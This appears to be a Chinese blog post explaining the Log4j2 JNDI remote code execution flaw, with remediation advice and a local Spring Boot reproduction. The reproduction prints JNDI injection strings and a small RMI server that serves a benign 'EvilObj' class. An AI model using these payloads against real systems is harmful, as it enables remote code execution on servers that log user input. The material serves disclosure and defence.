近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非法服务器权限等,不幸的是很多知名框架也用了log4j2,我们熟知的就有Apache Struts2、Apache Solr、Apache Druid、Apache Flink…
相信很多互联网厂此刻正瑟瑟发抖,紧急修复。
国家网络应急中心也紧急发布了处理意见:关于Apache Log4j2存在远程代码执行漏洞的安全公告
罪魁祸首是Apache Log4j2、2.0 - 2.15.0-rc1这个两个版本,比如你的项目中有org.apache.logging.log4j:log4j-core:jar:2.14.1,那就赶紧去修复吧。
很多服务使用了log4j2框架,并且打了API入参日志、三方交互日志等,正在被黑客与攻击者拿去搞事情,目前很多安全厂商都给出了替换版本、修改JVM启动参数、日志格式配置文件等的低成本解决办法,不过这里我还是觉得全面移除掉log4j2(可换成logback)比较保险,并且只要是基于sl4j规范来开发的,替换成本也是相当的低!
二、复现方法下面以springboot服务为例:
log4j2.xml配置:org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-logging org.springframework.boot spring-boot-starter-log4j2
application.yml配置:
logging: config: classpath:log4j2.xml测试方法:
public class Main {
private static final Logger logger = LoggerFactory.getLogger(Main.class);
public static void main(String[] args) {
logger.info("username is:{}", "${java:os}");
logger.info("${jndi:ldap://127.0.0.1:1389/#Exploit}");
logger.error("${}", "jndi:ldap://127.0.0.1:1389/#Exploit");
logger.error("{}", "${jndi:ldap://127.0.0.1:1389/#Exploit}");
}
}
这里如果是调用的:jndi:rmi://xxx,那么可以实现用户输入信息后,利用RMI远程调用来调用黑客远程的代码,到服务本机来执行(黑客可以再编写一个api回调信息、也可以执行一些Runtime命令),这就非常危险了。
之前是在log4j2的2.15.0以前的版本,都有该漏洞官方收到反馈后,紧急发布了: 2.15.0-rc1版本,后面此版本被黑客成功绕过,故官方又重新发布了2.15.0-rc2版本。
下面我们演示一下黑客利用RMI的操作:
1、首先编写远程类:
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1111);
Reference reference = new Reference("com.test.EvilObj", "com.test.EvilObj", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.rebind("evil", wrapper);
System.out.println("RMI服务已经启动....");
}
}
public class EvilObj {
static {
System.out.println("一段代码执行了...");
}
}
2、通过log2j漏洞,远程调用(相当于被攻击服务拉取黑客代码到本地执行)
public class Main {
private static final Logger logger = LoggerFactory.getLogger(Main.class);
public static void main(String[] args) {
String username = "${jndi:rmi://127.0.0.1:1111/evil}";
logger.info("username is:{}", username);
}
}
题外话
新技术的固然有性能更好等特点,不过在使用的时候最好也还是等它稳定一段时间再用,springboot官方配置的实现框架是logback,目前还没有爆出什么大的漏洞。



